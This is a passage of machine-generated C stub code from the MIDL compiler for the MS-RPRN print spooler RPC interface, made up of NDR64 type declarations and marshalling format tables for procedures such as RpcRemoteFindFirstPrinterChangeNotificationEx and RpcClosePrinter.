2239 | /* File created by MIDL compiler version 8.01.0622 */
2240 | /* at Tue Jan 19 03:14:07 2038
2241 | */
2242 | /* Compiler settings for ms-rprn.idl:
2243 | Oicf, W1, Zp8, env=Win64 (32b run), target_arch=AMD64 8.01.0622
2244 | protocol : all , ms_ext, c_ext, robust
2245 | error checks: allocation ref bounds_check enum stub_data
2246 | VC __declspec() decoration level:
2247 | __declspec(uuid()), __declspec(selectany), __declspec(novtable)
2248 | DECLSPEC_UUID(), MIDL_INTERFACE()
2249 | */
2250 | /* @@MIDL_FILE_HEADING( ) */
2251 |
2252 | #if defined(_M_AMD64)
2253 |
2254 |
2255 |
2256 | extern const NDR_RUNDOWN RundownRoutines[];
2257 |
2258 | #if !defined(__RPC_WIN64__)
2259 | #error Invalid build platform for this stub.
2260 | #endif
2261 |
2262 |
2263 | #include "ndr64types.h"
2264 | #include "pshpack8.h"
2265 |
2266 |
2267 | typedef
2268 | NDR64_FORMAT_CHAR
2269 | __midl_frag153_t;
2270 | extern const __midl_frag153_t __midl_frag153;
2271 |
2272 | typedef
2273 | struct
2274 | {
2275 | struct _NDR64_POINTER_FORMAT frag1;
2276 | }
2277 | __midl_frag152_t;
2278 | extern const __midl_frag152_t __midl_frag152;
2279 |
2280 | typedef
2281 | struct
2282 | {
2283 | NDR64_FORMAT_UINT32 frag1;
2284 | struct _NDR64_EXPR_VAR frag2;
2285 | }
2286 | __midl_frag151_t;
2287 | extern const __midl_frag151_t __midl_frag151;
2288 |
2289 | typedef
2290 | struct
2291 | {
2292 | struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1;
2293 | struct _NDR64_ARRAY_ELEMENT_INFO frag2;
2294 | }
2295 | __midl_frag150_t;
2296 | extern const __midl_frag150_t __midl_frag150;
2297 |
2298 | typedef
2299 | struct
2300 | {
2301 | struct _NDR64_STRUCTURE_HEADER_FORMAT frag1;
2302 | struct
2303 | {
2304 | struct _NDR64_NO_REPEAT_FORMAT frag1;
2305 | struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag2;
2306 | struct _NDR64_POINTER_FORMAT frag3;
2307 | NDR64_FORMAT_CHAR frag4;
2308 | } frag2;
2309 | }
2310 | __midl_frag149_t;
2311 | extern const __midl_frag149_t __midl_frag149;
2312 |
2313 | typedef
2314 | NDR64_FORMAT_CHAR
2315 | __midl_frag148_t;
2316 | extern const __midl_frag148_t __midl_frag148;
2317 |
2318 | typedef
2319 | struct
2320 | {
2321 | NDR64_FORMAT_UINT32 frag1;
2322 | struct _NDR64_EXPR_VAR frag2;
2323 | }
2324 | __midl_frag145_t;
2325 | extern const __midl_frag145_t __midl_frag145;
2326 |
2327 | typedef
2328 | struct
2329 | {
2330 | struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1;
2331 | struct
2332 | {
2333 | struct _NDR64_REPEAT_FORMAT frag1;
2334 | struct
2335 | {
2336 | struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag1;
2337 | struct _NDR64_POINTER_FORMAT frag2;
2338 | } frag2;
2339 | NDR64_FORMAT_CHAR frag3;
2340 | } frag2;
2341 | struct _NDR64_ARRAY_ELEMENT_INFO frag3;
2342 | }
2343 | __midl_frag144_t;
2344 | extern const __midl_frag144_t __midl_frag144;
2345 |
2346 | typedef
2347 | struct
2348 | {
2349 | struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1;
2350 | struct
2351 | {
2352 | struct _NDR64_SIMPLE_MEMBER_FORMAT frag1;
2353 | struct _NDR64_SIMPLE_MEMBER_FORMAT frag2;
2354 | struct _NDR64_SIMPLE_MEMBER_FORMAT frag3;
2355 | struct _NDR64_MEMPAD_FORMAT frag4;
2356 | struct _NDR64_SIMPLE_MEMBER_FORMAT frag5;
2357 | struct _NDR64_SIMPLE_MEMBER_FORMAT frag6;
2358 | } frag2;
2359 | }
2360 | __midl_frag143_t;
2361 | extern const __midl_frag143_t __midl_frag143;
2362 |
2363 | typedef
2364 | struct _NDR64_POINTER_FORMAT
2365 | __midl_frag142_t;
2366 | extern const __midl_frag142_t __midl_frag142;
2367 |
2368 | typedef
2369 | struct _NDR64_CONFORMANT_STRING_FORMAT
2370 | __midl_frag140_t;
2371 | extern const __midl_frag140_t __midl_frag140;
2372 |
2373 | typedef
2374 | struct _NDR64_POINTER_FORMAT
2375 | __midl_frag139_t;
2376 | extern const __midl_frag139_t __midl_frag139;
2377 |
2378 | typedef
2379 | struct _NDR64_CONTEXT_HANDLE_FORMAT
2380 | __midl_frag136_t;
2381 | extern const __midl_frag136_t __midl_frag136;
2382 |
2383 | typedef
2384 | struct
2385 | {
2386 | struct _NDR64_PROC_FORMAT frag1;
2387 | struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;
2388 | struct _NDR64_PARAM_FORMAT frag3;
2389 | struct _NDR64_PARAM_FORMAT frag4;
2390 | struct _NDR64_PARAM_FORMAT frag5;
2391 | struct _NDR64_PARAM_FORMAT frag6;
2392 | struct _NDR64_PARAM_FORMAT frag7;
2393 | struct _NDR64_PARAM_FORMAT frag8;
2394 | struct _NDR64_PARAM_FORMAT frag9;
2395 | }
2396 | __midl_frag135_t;
2397 | extern const __midl_frag135_t __midl_frag135;
2398 |
2399 | typedef
2400 | struct
2401 | {
2402 | struct _NDR64_PROC_FORMAT frag1;
2403 | struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;
2404 | }
2405 | __midl_frag134_t;
2406 | extern const __midl_frag134_t __midl_frag134;
2407 |
2408 | typedef
2409 | struct
2410 | {
2411 | struct _NDR64_PROC_FORMAT frag1;
2412 | struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;
2413 | struct _NDR64_PARAM_FORMAT frag3;
2414 | }
2415 | __midl_frag131_t;
2416 | extern const __midl_frag131_t __midl_frag131;
2417 |
2418 | typedef
2419 | struct _NDR64_CONTEXT_HANDLE_FORMAT
2420 | __midl_frag75_t;
2421 | extern const __midl_frag75_t __midl_frag75;
2422 |
2423 | typedef
2424 | struct _NDR64_POINTER_FORMAT
2425 | __midl_frag74_t;
2426 | extern const __midl_frag74_t __midl_frag74;
2427 |
2428 | typedef
2429 | struct
2430 | {
2431 | struct _NDR64_PROC_FORMAT frag1;
2432 | struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;
2433 | struct _NDR64_PARAM_FORMAT frag3;
2434 | struct _NDR64_PARAM_FORMAT frag4;
2435 | }
2436 | __midl_frag73_t;
2437 | extern const __midl_frag73_t __midl_frag73;
2438 |
2439 | typedef
2440 | struct
2441 | {
2442 | struct _NDR64_POINTER_FORMAT frag1;
2443 | }
2444 | __midl_frag16_t;
2445 | extern const __midl_frag16_t __midl_frag16;
2446 |
2447 | typedef
2448 | NDR64_FORMAT_CHAR
2449 | __midl_frag15_t;
2450 | extern const __midl_frag15_t __midl_frag15;
2451 |
2452 | typedef
2453 | struct
2454 | {
2455 | NDR64_FORMAT_UINT32 frag1;
2456 | struct _NDR64_EXPR_VAR frag2;
2457 | }
2458 | __midl_frag14_t;
2459 | extern const __midl_frag14_t __midl_frag14;
2460 |
2461 | typedef
2462 | struct
2463 | {
2464 | struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1;
2465 | struct _NDR64_ARRAY_ELEMENT_INFO frag2;
2466 | }
2467 | __midl_frag13_t;
2468 | extern const __midl_frag13_t __midl_frag13;
2469 |
2470 | typedef
2471 | struct
2472 | {
2473 | struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1;
2474 | struct
2475 | {
2476 | struct _NDR64_SIMPLE_MEMBER_FORMAT frag1;
2477 | struct _NDR64_MEMPAD_FORMAT frag2;
2478 | struct _NDR64_SIMPLE_MEMBER_FORMAT frag3;
2479 | struct _NDR64_SIMPLE_MEMBER_FORMAT frag4;
2480 | } frag2;
2481 | }
2482 | __midl_frag12_t;
2483 | extern const __midl_frag12_t __midl_frag12;
2484 |
2485 | typedef
2486 | struct _NDR64_POINTER_FORMAT
2487 | __midl_frag11_t;
2488 | extern const __midl_frag11_t __midl_frag11;
2489 |
2490 | typedef
2491 | struct _NDR64_CONTEXT_HANDLE_FORMAT
2492 | __midl_frag8_t;
2493 | extern const __midl_frag8_t __midl_frag8;
2494 |
2495 | typedef
2496 | struct _NDR64_POINTER_FORMAT
2497 | __midl_frag7_t;
2498 | extern const __midl_frag7_t __midl_frag7;
2499 |
2500 | typedef
2501 | struct
2502 | {
2503 | struct _NDR64_PROC_FORMAT frag1;
2504 | struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;
2505 | struct _NDR64_PARAM_FORMAT frag3;
2506 | struct _NDR64_PARAM_FORMAT frag4;
2507 | struct _NDR64_PARAM_FORMAT frag5;
2508 | struct _NDR64_PARAM_FORMAT frag6;
2509 | struct _NDR64_PARAM_FORMAT frag7;
2510 | struct _NDR64_PARAM_FORMAT frag8;
2511 | }
2512 | __midl_frag4_t;
2513 | extern const __midl_frag4_t __midl_frag4;
2514 |
2515 | typedef
2516 | NDR64_FORMAT_UINT32
2517 | __midl_frag1_t;
2518 | extern const __midl_frag1_t __midl_frag1;
2519 |
2520 | static const __midl_frag153_t __midl_frag153 =
2521 | 0x5 /* FC64_INT32 */;
2522 |
2523 | static const __midl_frag152_t __midl_frag152 =
2524 | {
2525 | /* */
2526 | {
2527 | /* *RPC_V2_NOTIFY_OPTIONS_TYPE */
2528 | 0x21, /* FC64_UP */
2529 | (NDR64_UINT8) 32 /* 0x20 */,
2530 | (NDR64_UINT16) 0 /* 0x0 */,
2531 | &__midl_frag144
2532 | }
2533 | };
2534 |
2535 | static const __midl_frag151_t __midl_frag151 =
2536 | {
2537 | /* */
2538 | (NDR64_UINT32) 1 /* 0x1 */,
2539 | {
2540 | /* struct _NDR64_EXPR_VAR */
2541 | 0x3, /* FC_EXPR_VAR */
2542 | 0x6, /* FC64_UINT32 */
2543 | (NDR64_UINT16) 0 /* 0x0 */,
2544 | (NDR64_UINT32) 12 /* 0xc */
2545 | }
2546 | };
2547 |
2548 | static const __midl_frag150_t __midl_frag150 =
2549 | {
2550 | /* *short */
2551 | {
2552 | /* *short */
2553 | 0x41, /* FC64_CONF_ARRAY */
2554 | (NDR64_UINT8) 1 /* 0x1 */,
2555 | {
2556 | /* *short */
2557 | 0,
2558 | 0,
2559 | 0,
2560 | 0,
2561 | 0,
2562 | 0,
2563 | 0,
2564 | 0
2565 | },
2566 | (NDR64_UINT8) 0 /* 0x0 */,
2567 | (NDR64_UINT32) 2 /* 0x2 */,
2568 | &__midl_frag151
2569 | },
2570 | {
2571 | /* struct _NDR64_ARRAY_ELEMENT_INFO */
2572 | (NDR64_UINT32) 2 /* 0x2 */,
2573 | &__midl_frag148
2574 | }
2575 | };
2576 |
2577 | static const __midl_frag149_t __midl_frag149 =
2578 | {
2579 | /* RPC_V2_NOTIFY_OPTIONS_TYPE */
2580 | {
2581 | /* RPC_V2_NOTIFY_OPTIONS_TYPE */
2582 | 0x31, /* FC64_PSTRUCT */
2583 | (NDR64_UINT8) 7 /* 0x7 */,
2584 | {
2585 | /* RPC_V2_NOTIFY_OPTIONS_TYPE */
2586 | 1,
2587 | 0,
2588 | 0,
2589 | 0,
2590 | 0,
2591 | 0,
2592 | 0,
2593 | 0
2594 | },
2595 | (NDR64_UINT8) 0 /* 0x0 */,
2596 | (NDR64_UINT32) 24 /* 0x18 */
2597 | },
2598 | {
2599 | /* */
2600 | {
2601 | /* struct _NDR64_NO_REPEAT_FORMAT */
2602 | 0x80, /* FC64_NO_REPEAT */
2603 | (NDR64_UINT8) 0 /* 0x0 */,
2604 | (NDR64_UINT16) 0 /* 0x0 */,
2605 | (NDR64_UINT32) 0 /* 0x0 */
2606 | },
2607 | {
2608 | /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */
2609 | (NDR64_UINT32) 16 /* 0x10 */,
2610 | (NDR64_UINT32) 0 /* 0x0 */
2611 | },
2612 | {
2613 | /* *short */
2614 | 0x21, /* FC64_UP */
2615 | (NDR64_UINT8) 32 /* 0x20 */,
2616 | (NDR64_UINT16) 0 /* 0x0 */,
2617 | &__midl_frag150
2618 | },
2619 | 0x93 /* FC64_END */
2620 | }
2621 | };
2622 |
2623 | static const __midl_frag148_t __midl_frag148 =
2624 | 0x4 /* FC64_INT16 */;
2625 |
2626 | static const __midl_frag145_t __midl_frag145 =
2627 | {
2628 | /* */
2629 | (NDR64_UINT32) 1 /* 0x1 */,
2630 | {
2631 | /* struct _NDR64_EXPR_VAR */
2632 | 0x3, /* FC_EXPR_VAR */
2633 | 0x6, /* FC64_UINT32 */
2634 | (NDR64_UINT16) 0 /* 0x0 */,
2635 | (NDR64_UINT32) 8 /* 0x8 */
2636 | }
2637 | };
2638 |
2639 | static const __midl_frag144_t __midl_frag144 =
2640 | {
2641 | /* *RPC_V2_NOTIFY_OPTIONS_TYPE */
2642 | {
2643 | /* *RPC_V2_NOTIFY_OPTIONS_TYPE */
2644 | 0x41, /* FC64_CONF_ARRAY */
2645 | (NDR64_UINT8) 7 /* 0x7 */,
2646 | {
2647 | /* *RPC_V2_NOTIFY_OPTIONS_TYPE */
2648 | 1,
2649 | 0,
2650 | 0,
2651 | 0,
2652 | 0,
2653 | 0,
2654 | 0,
2655 | 0
2656 | },
2657 | (NDR64_UINT8) 0 /* 0x0 */,
2658 | (NDR64_UINT32) 24 /* 0x18 */,
2659 | &__midl_frag145
2660 | },
2661 | {
2662 | /* */
2663 | {
2664 | /* struct _NDR64_REPEAT_FORMAT */
2665 | 0x82, /* FC64_VARIABLE_REPEAT */
2666 | {
2667 | /* struct _NDR64_REPEAT_FORMAT */
2668 | (NDR64_UINT8) 1 /* 0x1 */,
2669 | (NDR64_UINT8) 0 /* 0x0 */
2670 | },
2671 | (NDR64_UINT16) 0 /* 0x0 */,
2672 | (NDR64_UINT32) 24 /* 0x18 */,
2673 | (NDR64_UINT32) 0 /* 0x0 */,
2674 | (NDR64_UINT32) 1 /* 0x1 */
2675 | },
2676 | {
2677 | /* */
2678 | {
2679 | /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */
2680 | (NDR64_UINT32) 16 /* 0x10 */,
2681 | (NDR64_UINT32) 0 /* 0x0 */
2682 | },
2683 | {
2684 | /* *short */
2685 | 0x21, /* FC64_UP */
2686 | (NDR64_UINT8) 32 /* 0x20 */,
2687 | (NDR64_UINT16) 0 /* 0x0 */,
2688 | &__midl_frag150
2689 | }
2690 | },
2691 | 0x93 /* FC64_END */
2692 | },
2693 | {
2694 | /* struct _NDR64_ARRAY_ELEMENT_INFO */
2695 | (NDR64_UINT32) 24 /* 0x18 */,
2696 | &__midl_frag149
2697 | }
2698 | };
2699 |
2700 | static const __midl_frag143_t __midl_frag143 =
2701 | {
2702 | /* RPC_V2_NOTIFY_OPTIONS */
2703 | {
2704 | /* RPC_V2_NOTIFY_OPTIONS */
2705 | 0x35, /* FC64_FORCED_BOGUS_STRUCT */
2706 | (NDR64_UINT8) 7 /* 0x7 */,
2707 | {
2708 | /* RPC_V2_NOTIFY_OPTIONS */
2709 | 1,
2710 | 1,
2711 | 0,
2712 | 0,
2713 | 0,
2714 | 0,
2715 | 0,
2716 | 0
2717 | },
2718 | (NDR64_UINT8) 0 /* 0x0 */,
2719 | (NDR64_UINT32) 24 /* 0x18 */,
2720 | 0,
2721 | 0,
2722 | &__midl_frag152,
2723 | },
2724 | {
2725 | /* */
2726 | {
2727 | /* struct _NDR64_SIMPLE_MEMBER_FORMAT */
2728 | 0x5, /* FC64_INT32 */
2729 | (NDR64_UINT8) 0 /* 0x0 */,
2730 | (NDR64_UINT16) 0 /* 0x0 */,
2731 | (NDR64_UINT32) 0 /* 0x0 */
2732 | },
2733 | {
2734 | /* struct _NDR64_SIMPLE_MEMBER_FORMAT */
2735 | 0x5, /* FC64_INT32 */
2736 | (NDR64_UINT8) 0 /* 0x0 */,
2737 | (NDR64_UINT16) 0 /* 0x0 */,
2738 | (NDR64_UINT32) 0 /* 0x0 */
2739 | },
2740 | {
2741 | /* struct _NDR64_SIMPLE_MEMBER_FORMAT */
2742 | 0x5, /* FC64_INT32 */
2743 | (NDR64_UINT8) 0 /* 0x0 */,
2744 | (NDR64_UINT16) 0 /* 0x0 */,
2745 | (NDR64_UINT32) 0 /* 0x0 */
2746 | },
2747 | {
2748 | /* struct _NDR64_MEMPAD_FORMAT */
2749 | 0x90, /* FC64_STRUCTPADN */
2750 | (NDR64_UINT8) 0 /* 0x0 */,
2751 | (NDR64_UINT16) 4 /* 0x4 */,
2752 | (NDR64_UINT32) 0 /* 0x0 */
2753 | },
2754 | {
2755 | /* struct _NDR64_SIMPLE_MEMBER_FORMAT */
2756 | 0x14, /* FC64_POINTER */
2757 | (NDR64_UINT8) 0 /* 0x0 */,
2758 | (NDR64_UINT16) 0 /* 0x0 */,
2759 | (NDR64_UINT32) 0 /* 0x0 */
2760 | },
2761 | {
2762 | /* struct _NDR64_SIMPLE_MEMBER_FORMAT */
2763 | 0x93, /* FC64_END */
2764 | (NDR64_UINT8) 0 /* 0x0 */,
2765 | (NDR64_UINT16) 0 /* 0x0 */,
2766 | (NDR64_UINT32) 0 /* 0x0 */
2767 | }
2768 | }
2769 | };
2770 |
2771 | static const __midl_frag142_t __midl_frag142 =
2772 | {
2773 | /* *RPC_V2_NOTIFY_OPTIONS */
2774 | 0x21, /* FC64_UP */
2775 | (NDR64_UINT8) 0 /* 0x0 */,
2776 | (NDR64_UINT16) 0 /* 0x0 */,
2777 | &__midl_frag143
2778 | };
2779 |
2780 | static const __midl_frag140_t __midl_frag140 =
2781 | {
2782 | /* *wchar_t */
2783 | {
2784 | /* *wchar_t */
2785 | 0x64, /* FC64_CONF_WCHAR_STRING */
2786 | {
2787 | /* *wchar_t */
2788 | 0,
2789 | 0,
2790 | 0,
2791 | 0,
2792 | 0,
2793 | 0,
2794 | 0,
2795 | 0
2796 | },
2797 | (NDR64_UINT16) 2 /* 0x2 */
2798 | }
2799 | };
2800 |
2801 | static const __midl_frag139_t __midl_frag139 =
2802 | {
2803 | /* *wchar_t */
2804 | 0x21, /* FC64_UP */
2805 | (NDR64_UINT8) 0 /* 0x0 */,
2806 | (NDR64_UINT16) 0 /* 0x0 */,
2807 | &__midl_frag140
2808 | };
2809 |
2810 | static const __midl_frag136_t __midl_frag136 =
2811 | {
2812 | /* struct _NDR64_CONTEXT_HANDLE_FORMAT */
2813 | 0x70, /* FC64_BIND_CONTEXT */
2814 | (NDR64_UINT8) 65 /* 0x41 */,
2815 | (NDR64_UINT8) 0 /* 0x0 */,
2816 | (NDR64_UINT8) 1 /* 0x1 */
2817 | };
2818 |
2819 | static const __midl_frag135_t __midl_frag135 =
2820 | {
2821 | /* RpcRemoteFindFirstPrinterChangeNotificationEx */
2822 | {
2823 | /* RpcRemoteFindFirstPrinterChangeNotificationEx */ /* procedure RpcRemoteFindFirstPrinterChangeNotificationEx */
2824 | (NDR64_UINT32) 19660864 /* 0x12c0040 */, /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, ServerCorrelation, HasExtensions */
2825 | (NDR64_UINT32) 56 /* 0x38 */ , /* Stack size */
2826 | (NDR64_UINT32) 60 /* 0x3c */,
2827 | (NDR64_UINT32) 8 /* 0x8 */,
2828 | (NDR64_UINT16) 0 /* 0x0 */,
2829 | (NDR64_UINT16) 0 /* 0x0 */,
2830 | (NDR64_UINT16) 7 /* 0x7 */,
2831 | (NDR64_UINT16) 8 /* 0x8 */
2832 | },
2833 | {
2834 | /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */
2835 | {
2836 | /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */
2837 | 0x70, /* FC64_BIND_CONTEXT */
2838 | (NDR64_UINT8) 64 /* 0x40 */,
2839 | 0 /* 0x0 */, /* Stack offset */
2840 | (NDR64_UINT8) 0 /* 0x0 */,
2841 | (NDR64_UINT8) 0 /* 0x0 */
2842 | },
2843 | (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */
2844 | },
2845 | {
2846 | /* hPrinter */ /* parameter hPrinter */
2847 | &__midl_frag136,
2848 | {
2849 | /* hPrinter */
2850 | 0,
2851 | 0,
2852 | 0,
2853 | 1,
2854 | 0,
2855 | 0,
2856 | 0,
2857 | 0,
2858 | 0,
2859 | 0,
2860 | 0,
2861 | 0,
2862 | 0,
2863 | (NDR64_UINT16) 0 /* 0x0 */,
2864 | 0
2865 | }, /* [in] */
2866 | (NDR64_UINT16) 0 /* 0x0 */,
2867 | 0 /* 0x0 */, /* Stack offset */
2868 | },
2869 | {
2870 | /* fdwFlags */ /* parameter fdwFlags */
2871 | &__midl_frag153,
2872 | {
2873 | /* fdwFlags */
2874 | 0,
2875 | 0,
2876 | 0,
2877 | 1,
2878 | 0,
2879 | 0,
2880 | 1,
2881 | 1,
2882 | 0,
2883 | 0,
2884 | 0,
2885 | 0,
2886 | 0,
2887 | (NDR64_UINT16) 0 /* 0x0 */,
2888 | 0
2889 | }, /* [in], Basetype, ByValue */
2890 | (NDR64_UINT16) 0 /* 0x0 */,
2891 | 8 /* 0x8 */, /* Stack offset */
2892 | },
2893 | {
2894 | /* fdwOptions */ /* parameter fdwOptions */
2895 | &__midl_frag153,
2896 | {
2897 | /* fdwOptions */
2898 | 0,
2899 | 0,
2900 | 0,
2901 | 1,
2902 | 0,
2903 | 0,
2904 | 1,
2905 | 1,
2906 | 0,
2907 | 0,
2908 | 0,
2909 | 0,
2910 | 0,
2911 | (NDR64_UINT16) 0 /* 0x0 */,
2912 | 0
2913 | }, /* [in], Basetype, ByValue */
2914 | (NDR64_UINT16) 0 /* 0x0 */,
2915 | 16 /* 0x10 */, /* Stack offset */
2916 | },
2917 | {
2918 | /* pszLocalMachine */ /* parameter pszLocalMachine */
2919 | &__midl_frag139,
2920 | {
2921 | /* pszLocalMachine */
2922 | 1,
2923 | 1,
2924 | 0,
2925 | 1,
2926 | 0,
2927 | 0,
2928 | 0,
2929 | 0,
2930 | 0,
2931 | 0,
2932 | 0,
2933 | 0,
2934 | 0,
2935 | (NDR64_UINT16) 0 /* 0x0 */,
2936 | 0
2937 | }, /* MustSize, MustFree, [in] */
2938 | (NDR64_UINT16) 0 /* 0x0 */,
2939 | 24 /* 0x18 */, /* Stack offset */
2940 | },
2941 | {
2942 | /* dwPrinterLocal */ /* parameter dwPrinterLocal */
2943 | &__midl_frag153,
2944 | {
2945 | /* dwPrinterLocal */
2946 | 0,
2947 | 0,
2948 | 0,
2949 | 1,
2950 | 0,
2951 | 0,
2952 | 1,
2953 | 1,
2954 | 0,
2955 | 0,
2956 | 0,
2957 | 0,
2958 | 0,
2959 | (NDR64_UINT16) 0 /* 0x0 */,
2960 | 0
2961 | }, /* [in], Basetype, ByValue */
2962 | (NDR64_UINT16) 0 /* 0x0 */,
2963 | 32 /* 0x20 */, /* Stack offset */
2964 | },
2965 | {
2966 | /* pOptions */ /* parameter pOptions */
2967 | &__midl_frag142,
2968 | {
2969 | /* pOptions */
2970 | 1,
2971 | 1,
2972 | 0,
2973 | 1,
2974 | 0,
2975 | 0,
2976 | 0,
2977 | 0,
2978 | 0,
2979 | 0,
2980 | 0,
2981 | 0,
2982 | 0,
2983 | (NDR64_UINT16) 0 /* 0x0 */,
2984 | 0
2985 | }, /* MustSize, MustFree, [in] */
2986 | (NDR64_UINT16) 0 /* 0x0 */,
2987 | 40 /* 0x28 */, /* Stack offset */
2988 | },
2989 | {
2990 | /* DWORD */ /* parameter DWORD */
2991 | &__midl_frag153,
2992 | {
2993 | /* DWORD */
2994 | 0,
2995 | 0,
2996 | 0,
2997 | 0,
2998 | 1,
2999 | 1,
3000 | 1,
3001 | 1,
3002 | 0,
3003 | 0,
3004 | 0,
3005 | 0,
3006 | 0,
3007 | (NDR64_UINT16) 0 /* 0x0 */,
3008 | 0
3009 | }, /* [out], IsReturn, Basetype, ByValue */
3010 | (NDR64_UINT16) 0 /* 0x0 */,
3011 | 48 /* 0x30 */, /* Stack offset */
3012 | }
3013 | };
3014 |
3015 | static const __midl_frag134_t __midl_frag134 =
3016 | {
3017 | /* Opnum64NotUsedOnWire */
3018 | {
3019 | /* Opnum64NotUsedOnWire */ /* procedure Opnum64NotUsedOnWire */
3020 | (NDR64_UINT32) 16777280 /* 0x1000040 */, /* explicit handle */ /* IsIntrepreted, HasExtensions */
3021 | (NDR64_UINT32) 8 /* 0x8 */ , /* Stack size */
3022 | (NDR64_UINT32) 0 /* 0x0 */,
3023 | (NDR64_UINT32) 0 /* 0x0 */,
3024 | (NDR64_UINT16) 0 /* 0x0 */,
3025 | (NDR64_UINT16) 0 /* 0x0 */,
3026 | (NDR64_UINT16) 0 /* 0x0 */,
3027 | (NDR64_UINT16) 8 /* 0x8 */
3028 | },
3029 | {
3030 | /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */
3031 | {
3032 | /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */
3033 | 0x72, /* FC64_BIND_PRIMITIVE */
3034 | (NDR64_UINT8) 0 /* 0x0 */,
3035 | 0 /* 0x0 */, /* Stack offset */
3036 | (NDR64_UINT8) 0 /* 0x0 */,
3037 | (NDR64_UINT8) 0 /* 0x0 */
3038 | },
3039 | (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */
3040 | }
3041 | };
3042 |
3043 | static const __midl_frag131_t __midl_frag131 =
3044 | {
3045 | /* RpcRemoteFindFirstPrinterChangeNotification */
3046 | {
3047 | /* RpcRemoteFindFirstPrinterChangeNotification */ /* procedure RpcRemoteFindFirstPrinterChangeNotification */
3048 | (NDR64_UINT32) 17301568 /* 0x1080040 */, /* explicit handle */ /* IsIntrepreted, HasReturn, HasExtensions */
3049 | (NDR64_UINT32) 16 /* 0x10 */ , /* Stack size */
3050 | (NDR64_UINT32) 0 /* 0x0 */,
3051 | (NDR64_UINT32) 8 /* 0x8 */,
3052 | (NDR64_UINT16) 0 /* 0x0 */,
3053 | (NDR64_UINT16) 0 /* 0x0 */,
3054 | (NDR64_UINT16) 1 /* 0x1 */,
3055 | (NDR64_UINT16) 8 /* 0x8 */
3056 | },
3057 | {
3058 | /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */
3059 | {
3060 | /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */
3061 | 0x72, /* FC64_BIND_PRIMITIVE */
3062 | (NDR64_UINT8) 0 /* 0x0 */,
3063 | 0 /* 0x0 */, /* Stack offset */
3064 | (NDR64_UINT8) 0 /* 0x0 */,
3065 | (NDR64_UINT8) 0 /* 0x0 */
3066 | },
3067 | (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */
3068 | },
3069 | {
3070 | /* DWORD */ /* parameter DWORD */
3071 | &__midl_frag153,
3072 | {
3073 | /* DWORD */
3074 | 0,
3075 | 0,
3076 | 0,
3077 | 0,
3078 | 1,
3079 | 1,
3080 | 1,
3081 | 1,
3082 | 0,
3083 | 0,
3084 | 0,
3085 | 0,
3086 | 0,
3087 | (NDR64_UINT16) 0 /* 0x0 */,
3088 | 0
3089 | }, /* [out], IsReturn, Basetype, ByValue */
3090 | (NDR64_UINT16) 0 /* 0x0 */,
3091 | 8 /* 0x8 */, /* Stack offset */
3092 | }
3093 | };
3094 |
3095 | static const __midl_frag75_t __midl_frag75 =
3096 | {
3097 | /* struct _NDR64_CONTEXT_HANDLE_FORMAT */
3098 | 0x70, /* FC64_BIND_CONTEXT */
3099 | (NDR64_UINT8) 225 /* 0xe1 */,
3100 | (NDR64_UINT8) 0 /* 0x0 */,
3101 | (NDR64_UINT8) 1 /* 0x1 */
3102 | };
3103 |
3104 | static const __midl_frag74_t __midl_frag74 =
3105 | {
3106 | /* *struct _NDR64_POINTER_FORMAT */
3107 | 0x20, /* FC64_RP */
3108 | (NDR64_UINT8) 4 /* 0x4 */,
3109 | (NDR64_UINT16) 0 /* 0x0 */,
3110 | &__midl_frag75
3111 | };
3112 |
3113 | static const __midl_frag73_t __midl_frag73 =
3114 | {
3115 | /* RpcClosePrinter */
3116 | {
3117 | /* RpcClosePrinter */ /* procedure RpcClosePrinter */
3118 | (NDR64_UINT32) 17301568 /* 0x1080040 */, /* explicit handle */ /* IsIntrepreted, HasReturn, HasExtensions */
3119 | (NDR64_UINT32) 16 /* 0x10 */ , /* Stack size */
3120 | (NDR64_UINT32) 60 /* 0x3c */,
3121 | (NDR64_UINT32) 68 /* 0x44 */,
3122 | (NDR64_UINT16) 0 /* 0x0 */,
3123 | (NDR64_UINT16) 0 /* 0x0 */,
3124 | (NDR64_UINT16) 2 /* 0x2 */,
3125 | (NDR64_UINT16) 8 /* 0x8 */
3126 | },
3127 | {
3128 | /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */
3129 | {
3130 | /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */
3131 | 0x70, /* FC64_BIND_CONTEXT */
3132 | (NDR64_UINT8) 224 /* 0xe0 */,
3133 | 0 /* 0x0 */, /* Stack offset */
3134 | (NDR64_UINT8) 0 /* 0x0 */,
3135 | (NDR64_UINT8) 0 /* 0x0 */
3136 | },
3137 | (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */
3138 | },
3139 | {
3140 | /* phPrinter */ /* parameter phPrinter */
3141 | &__midl_frag75,
3142 | {
3143 | /* phPrinter */
3144 | 0,
3145 | 0,
3146 | 0,
3147 | 1,
3148 | 1,
3149 | 0,
3150 | 0,
3151 | 0,
3152 | 1,
3153 | 0,
3154 | 0,
3155 | 0,
3156 | 0,
3157 | (NDR64_UINT16) 0 /* 0x0 */,
3158 | 0
3159 | }, /* [in], [out], SimpleRef */
3160 | (NDR64_UINT16) 0 /* 0x0 */,
3161 | 0 /* 0x0 */, /* Stack offset */
3162 | },
3163 | {
3164 | /* DWORD */ /* parameter DWORD */
